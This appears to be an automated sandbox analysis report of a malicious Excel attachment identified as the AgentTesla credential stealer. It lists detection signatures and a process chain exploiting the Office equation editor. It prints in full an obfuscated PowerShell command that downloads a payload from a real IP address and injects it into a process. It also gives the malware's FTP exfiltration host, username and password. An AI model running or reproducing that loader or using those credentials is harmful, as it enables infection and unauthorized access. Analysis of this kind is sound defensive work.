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Windows
Analysis Report
Nuevo orden.xlam.xlsx
Overview
General Information
| Sample name: | Nuevo orden.xlam.xlsx |
| Analysis ID: | 1467952 |
| MD5: | 563632ea84cbb9b6c4a19223cd655c67 |
| SHA1: | fb0f18bd97964f8ee3dd6e1c7413c1de855e8568 |
| SHA256: | d8ba98fe2f2715873622ec5d987ac06da81077ad593d045b925007680d625025 |
| Tags: | xlamxlsx |
| Infos: |   |
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Detection
AgentTesla
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AgentTesla
Yara detected Powershell download and execute
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Shellcode detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 2836 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
EQNEDT32.EXE (PID: 2772 cmdline: "C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) 
wscript.exe (PID: 1968 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\datin gloverstar tingAgain. vbs" MD5: 979D74799EA6C8B8167869A68DF5204A) 
powershell.exe (PID: 540 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " (('by6link = EnNhttp ://91.92.2 54.194/img e/new-imag e_v.jpgEnN ; by6webCl ient ='+' New-Object System.N' +'et.WebCl ient; tr'+ 'y { by6do wnloadedDa ta = b'+'y 6webClient .DownloadD ata(by6lin k) } catch { Write'+ '-H'+'ost EnNFailed To downloa d dat'+'a f'+'rom by 6linkEnN - Foreground Color Red; exit }; i f (by6down loadedData -ne by6nu ll) { by6i ma'+'geT'+ 'ext = [Sy stem.Text. Encoding]: :UTF8.GetS tring(by6d ownloadedD ata); by6s tar'+'tFla g'+' = EnN <<BASE64_S TART>>EnN; by6endFla g = EnN<<B ASE64_END> >EnN; by6s tartIndex = by6image Text.Index Of(by6star tFlag); by 6endIndex = by6ima'+ 'geTe'+'xt .I'+'ndexO f(by6en'+' dFlag); if (by6start Index'+' - ge 0 -and b'+'y6endI ndex -gt b y6startInd ex) { by6s t'+'artInd ex += by6s tartFl'+'a g.Length; by6base6'+ '4Length = by6endInd ex - by6st artIndex; by6base64C o'+'mmand = by6image Text.Subst ring(by6st artInd'+'e x, by6ba'+ 'se64Lengt h); by6com mandByt'+' es = [Syst em.Convert ]::FromBas e6'+'4Stri ng(by6base 64Command) ; by6loade dAssembly = [System. Reflection .Assembly] ::L'+'oad( by6command Bytes); by 6t'+'ype = by6loaded Assembly.G etType(EnN RunPE.Home EnN); by6m ethod = by 6type.GetM ethod(EnNV AIEnN).Inv oke(by6nul l, [object '+'[]] (E' +'nNtxt.46 esab/841.6 12.3.291// :ptthEnN , EnNdesati vadoEnN , '+'EnNdesa tiva'+'doE nN , EnNde sativadoEn N,EnNA'+'d d'+'InProc ess32EnN,E nNEn'+'N)) } }')-CRE PLACE([CHa r]98+[CHar ]121+[CHar ]54),[CHar ]36 -rEpLa Ce([CHar]6 9+[CHar]11 0+[CHar]78 ),[CHar]39 )| iex" MD5: EB32C070E658937AA9FA9F3AE629B2B8) 
AddInProcess32.exe (PID: 2888 cmdline: "C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Add InProcess3 2.exe" MD5: EFBCDD2A3EBEA841996AEF00417AA958)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| Agent Tesla, AgentTesla | A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel. |
{"Exfil Mode": "FTP", "Host": "ftp://ftp.horeca-bucuresti.ro", "Username": "americas2@horeca-bucuresti.ro", "Password": "H*TE9iL;x61m"}| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_XML_LegacyDrawing_AutoLoad_Document | detects AutoLoad documents using LegacyDrawing | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
| JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
| JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
| JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
| JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
| Click to see the 8 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
| JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security | ||
| JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
| INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID | Detects executables referencing Windows vault credential objects. Observed in infostealers | ditekSHen |
| |
| MALWARE_Win_AgentTeslaV2 | AgenetTesla Type 2 Keylogger payload | ditekSHen |
| |
| Click to see the 9 entries | ||||
Exploits |   |
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| Source: | Author: Joe Security: | ||
| Source: | Author: Joe Security: | ||
System Summary | |
|---|
| Source: | Author: Max Altgelt (Nextron Systems): | ||
| Source: | Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): | ||